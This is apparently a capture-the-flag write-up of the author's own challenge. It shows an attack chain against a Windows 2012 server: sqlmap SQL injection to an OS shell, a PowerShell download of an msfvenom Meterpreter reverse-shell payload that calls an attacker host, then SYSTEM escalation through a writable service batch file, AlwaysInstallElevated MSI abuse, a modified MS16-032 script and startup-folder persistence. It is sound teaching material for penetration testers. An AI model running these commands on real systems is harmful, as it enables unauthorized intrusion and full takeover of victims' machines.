This is a brief “writeup” of a challenge which I created for my friends of “SNADO” team.
I will write this article from the “pentester” perspective, just to be more clear and realistic 🙂
The mission was to get windows “SYSTEM” privileges, starting from a vulnerable webapp. There were several ways to get the result, some of them requiring “user interaction”.
Server had only port 80 open for inbound connection.
I will not go too much in details, but the challenge gave me the opportunity to dig deeper in some hidden aspects of windows which I will discuss about.
Let’s start from the beginning. The Web application, hosted on a Win2012 server, was vulnerable to SQLi injection (yes, again!), and after some testing I found the correct parameters for sqlmap:
sqlmap -u http://x.x.x.x/test1/default.aspx?id=1 \ --dbms=mssql --technique=US \ --tamper=randomcase --os-shell
Not so difficult! There was some type of WAF, easily bypassed with a modified tamper script and, due to serious misconfiguration of the Database. I finally got an os-shell (xp_cmdshell)!
Parameter: id (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=1;WAITFOR DELAY '0:0:5'-- Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: id=1 UNION ALL SELECT CHAR(113)+CHAR(120)+CHAR(112)+CHAR(120)+CHAR(113)+CHAR(84)+CHAR(80)+CHAR(85)+CHAR(111)+CHAR(89)+CHAR(89)+CHAR(79)+CHAR(122)+CHAR(71)+CHAR(119)+CHAR(99)+CHAR(109)+CHAR(78)+CHAR(89)+CHAR(116)+CHAR(87)+CHAR(89)+CHAR(120)+CHAR(80)+CHAR(72)+CHAR(69)+CHAR(115)+CHAR(104)+CHAR(84)+CHAR(120)+CHAR(65)+CHAR(98)+CHAR(107)+CHAR(111)+CHAR(116)+CHAR(84)+CHAR(73)+CHAR(73)+CHAR(70)+CHAR(112)+CHAR(74)+CHAR(90)+CHAR(76)+CHAR(69)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(106)+CHAR(113)-- OsxQ --- [19:10:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [19:10:11] [INFO] testing Microsoft SQL Server [19:10:11] [INFO] confirming Microsoft SQL Server [19:10:11] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 8.1 or 2012 R2 web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5 back-end DBMS: Microsoft SQL Server 2012 [19:10:11] [INFO] testing if current user is DBA [19:10:11] [INFO] testing if xp_cmdshell extended procedure is usable [19:10:11] 2[WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique [19:10:11] [INFO] the SQL query used returns 1 entries [19:10:11] [INFO] xp_cmdshell extended procedure is usable [19:10:11] [INFO] going to use xp_cmdshell extended procedure for operating system command execution [19:10:11] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell>
Ok, first step was done. Now I should start with information gathering, right?
os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] y [19:12:55] [INFO] the SQL query used returns 1 entries [19:12:55] [INFO] retrieved: srv2012\\andrea command standard output : [*] srv2012\andrea os-shell> net user andrea | find "Group" do you want to retrieve the command standard output? [Y/n/a] y [19:12:34] [INFO] the SQL query used returns 2 entries [19:12:34] [INFO] retrieved: Local Group Memberships *Power Users *Remote Desktop Users [19:12:34] [INFO] retrieved: Global Group memberships *None command standard output: --- Local Group Memberships *Power Users *Remote Desktop Users Global Group memberships *None ---
Account was local user and .. ouch! I was not Admin, leading to the dramatic conclusion: I didn’t have SYSTEM privileges 😦
No panic, remember the basics of privilege escalation on Windows systems?
First of all, a Meterpreter shell could help us in our investigations.
But before moving on, a quick check on installed programs (c:\program files, c:\program files(x86)) did not reveal any AV software… great, so I created a quick & dirty payload !
#msfvenon -p windows/x64/meterpreter/reverse_tcp lhost=y.y.y.y \ lport=4444 -f exe > r.exe
Setup the listener on msfconsole:
Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/X64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST X.X.X.X yes The listen address LPORT 4444 yes The listen port msf exploit(handler) > exploit -j
And now I had to upload this executable, right? But how? Oh, I’m a PS fan!:
os-shell>powershell -nop -c "(New-Object System.Net.WebClient).DownloadFile('http://your_ip/r.exe', 'c:\users\andrea\r.exe')"
[*] Started reverse TCP handler on x.x.x.x:5555 [*] Starting the payload handler... [*] Sending stage (1189423 bytes) to y.y.y.y [*] Meterpreter session 1 opened (x.x.x.x:5555 -> y.y.y.y:49177) at 2017-02-21 18:15:53 +0100 meterpreter >
Fantastic! Meterpreter shell was established! And now I had to get SYSTEM, but how?
First of all I tried the classic “privilege escalation” techniques.
This is the ultra-classic escalation method! First of all I had to find a vulnerable service. What is a “vulnerable” service? At least a service with weak permissions on the executable files allowing us to change them….
A list of the installed services gave me a wonderful hint:
meterpreter > shell Process 2084 created. Channel 4 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>sc query ----snip---- SERVICE_NAME: DummySvc DISPLAY_NAME: DummySvc TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 ----snip----
Hmm.. this DummySvc seemed interesting, so I gathered other info about this “dummy service”:
C:\Windows\system32>sc qc dummysvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: dummysvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\dummyservice\nssm.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : DummySvc DEPENDENCIES : SERVICE_START_NAME : LocalSystem
Service was running with “LocalSystem” privileges! And this was the listing of C:\Program Files\dummyservice
C:\Program Files\dummyservice>dir Volume in drive C has no label. Volume Serial Number is C050-5A8D Directory of C:\Program Files\dummyservice 02/16/2017 10:26 PM . 02/16/2017 10:26 PM .. 08/31/2014 07:34 AM 331,264 nssm.exe 02/16/2017 10:46 PM 151 readme.txt.txt 02/16/2017 11:02 PM 16 service.bat 3 File(s) 331,431 bytes 2 Dir(s) 15,100,686,336 bytes free C:\Program Files\dummyservice>type readme.txt.txt service.bat: this is the service will be relaunched from taskscheduler if not running pls. notify admin if service is not working, we will restart it C:\Program Files\dummyservice>type service.bat @echo off pause
And these were the permissions on this folder:
C:\Program Files\dummyservice>icacls *.* nssm.exe APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(M) BUILTIN\Users:(I)(M) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) readme.txt.txt APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(M) BUILTIN\Users:(I)(M) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) service.bat APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(M) BUILTIN\Users:(I)(M) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) Successfully processed 3 files; Failed processing 0 files
Now I had a clear vision:
- Users group had (M) modify privileges
- I could modify service.bat and insert my meterpreter shell executable or overwrite the nssm.exe executable. The best choice would be the first one, no need to worry about AutoMigrate and so on..
- Given that service was running under LocalSystem context , I would get back a SYSTEM shell!
There was a problem, service had to be restarted.. Of course I could ask admin as stated in readme.txt.txt, but I wanted to go further. What if I could start/stop service of my own? Usually normal user cannot do that, but never say never….
The easiest way was to try a “net stop dummyscv” and see what happens. But I wanted to learn new (useful) things, so decided to check the service permissions:
C:\Program Files\dummyservice>sc sdshow dummysvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) (A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU) (A;;RPWP;;;S-1-5-21-938204560-2839928776-2225904511-1001)
What does this command? Outputs the security descriptors of the service in Security Descriptor Definition Language (SDDL). Somehow cryptic, but look at last record:
Basically, it (A)uthorizes the user identfied by the sid S-1-5.. to start (RP) and stop (WP) the service. Who is S-1-5.. ?
I went back to my Meterpreter and took a look a my SID:
meterpreter > getsid Server SID: S-1-5-21-938204560-2839928776-2225904511-1001
It was my SID!!!!
So, I prepared the new Meterpreter reverse_shell, listening on a different port:
#msfvenon -p windows/x64/meterpreter/reverse_tcp \ lhost=y.y.y.y lport=5555 -f exe > r2.exe
Uploaded it and started the listener in msfconsole.
From the previous shell:
C:\Program Files\dummyservice>net stop dummysvc The DummySvc service was stopped successfully. C:\Program Files\dummyservice>echo c:\users\andrea\r2.exe > service.bat C:\Program Files\dummyservice>net start dummysvc The DummySvc service was started successfully. [*] Meterpreter session 2 opened (x.x.x.x:5555 -> y.y.y.y:49630) at 2017-02-21 22:45:48 +0100
I got a new meterpreter sessions but this time with SYSTEM privileges:
meterpreter > shell Process 3600 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Program Files\dummyservice>whoami whoami nt authority\system
Always install privileged
This is a classic exploitation too. These setting allows non-privileged users the ability to install packages (.msi) through the Microsoft Windows Installer (msiexec) with elevated (SYSTEM) permissions. This could be a big security concern, for eample: what would happen if I installed a special crafted MSI file which launches a meterpreter shell during the installation process? A shell with SYSTEM privilege!
First of all I checked if user “Andrea” had similar privileges. There are two registry keys to verify, one in the Current User context and one in the Local Machine context , if both are set to “1” we are half on the way…
C:\>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 C:\>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1
Great, current user had “Always Install Privileged” permissions. With “msfvenom”, I created my “special” msi file:
msfvenon -p windows/x64/meterpreter/reverse_tcp \ lhost=y.y.y.y lport=5555 -f msi-nouac > r2.msi
Uploaded it (this time with the meterpreter shell) and executed the msi with the switches: “/qn”= nogui, “/quiet”=quiet and /”log*v”=log verbose to file i.log
C:\test\>msiexec /qn /quiet /log*v i.log /i r2.msi The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
But something went wrong and a look at “i.log” gave me more details:
=== Verbose logging started: 2/22/2017 19:30:34 Build type: SHIP UNICODE 5.00.9600.00 Calling process: C:\Windows\system32\msiexec.exe === MSI (c) (D8:C8) [19:30:34:727]: Resetting cached policy values MSI (c) (D8:C8) [19:30:34:727]: Machine policy value 'Debug' is 0 MSI (c) (D8:C8) [19:30:34:727]: ******* RunEngine: ******* Product: r2.msi ******* Action: ******* CommandLine: ********** MSI (c) (D8:C8) [19:30:34:727]: Client-side and UI is none or basic: Running entire install on the server. MSI (c) (D8:C8) [19:30:34:727]: Grabbed execution mutex. MSI (c) (D8:C8) [19:30:34:727]: Failed to connect to server. Error: 0x80070005 MSI (c) (D8:C8) [19:30:34:742]: Note: 1: 2774 2: 0x80070005 1: 2774 2: 0x80070005 MSI (c) (D8:C8) [19:30:34:742]: Failed to connect to server. MSI (c) (D8:C8) [19:30:34:742]: MainEngineThread is returning 1601 === Verbose logging stopped: 2/22/2017 19:30:34 ===
The problem seemed related to the lack of a “real” terminal or GUI sessions, and it was not even possible to connect directly to the server side of misexec (DCOM permissions)?
There was nothing more I could do, even tried the same exploit with metasploit (always_install_privileged) but no luck 😦
Never give up!
I looked at the running processes with “ps” command from meterpreter and found the process “explorer.exe” belonging to logged in user “Andrea”. This could be a good candidate to migrate to, given that this time a real GUI was associated to it.
1912 2816 explorer.exe x64 2 SRV2012\andrea C:\Windows\Explorer.EXE
This should be a valid handle! I quickly migrated to process 1912:
meterpreter > migrate 1912 [*] Migrating from 2780 to 1912... [*] Migration completed successfully.
relaunched the msi… and bingo! got SYSTEM shell!
[*] Meterpreter session 8 opened (x.x.x.x:5555 -> y.y.y.y:49271) at .. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > shell Process 2300 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
But.. what if user was not logged in? Last chance:
Launch the msi automatically placing it in the user’s the Startup menu and wait for the user login…
How? Even more easy:
c:\Users\andrea\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>echo msiexec /qn /quiet /i c:\users\andrea\r2.msi > t.bat
So I just asked admin if user Andrea could log in .. and again.. SYSTEM shell
You will probably have heard abut the vulnerability m16-032 (aka secondary logon priv. esc.) which affects the Windows systems starting from windows 2008 to windows 10 and permits privilege escalation to SYSTEM!
First of all I checked if the system was vulnerable..
C:\Windows\system32>wmic qfe list | find "3139914"
Empty response… patch was not installed, great!
Next, I tried the dedicated metasploit module (exploit/windows/local/ms16_032_secondary_logon_handle_privesc) , but di not seem to work, all I got was;
[*] Exploit completed, but no session was created.
So I tried the “manual” way, downloaded the ms16-032.ps1 and made some changes. Instead of calling cmd.exe , I had to call my meterpreter shell otherwise it would not be useful…
In “main” function i changed the parameters:
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", #0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000002, "C:\users\andrea\r2.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo)
After that , uploaded the poweshell script (m.ps1) and from my previous shell executed it:
c:\users\andrea\powershell -windowstyle hidden -executionpolicy bypass -file c:\users\andrea\m.ps1
In my msfconsole, a misleading error message:
[-] Errno::ECONNRESET Connection reset by peer - SSL_accept
Hmmm.. could be related to the same problem, missing terminal/window session handler?
I tried again the same solution: User Andrea was logged in so I migrated to his explorer.exe process, executed the .ps1 script and got back again SYSTEM shell!
msf exploit(handler) > sessions -i 7 [*] Starting interaction with 7... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >
As mentioned before, as an alternative, I could place the script in the Startup folder, waiting for user login and obtain a SYSTEM shell.
c:\Users\andrea\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>echo powershell -windowstyle hidden -executionpolicy bypass -file c:\users\andrea\m.ps1 > t.bat
Up to now, these were the solutions I found.. would be interesting to find out how to spawn a valid terminal session/GUI handler from meterpreter shell, simulating the logged in user?!
That’s all 🙂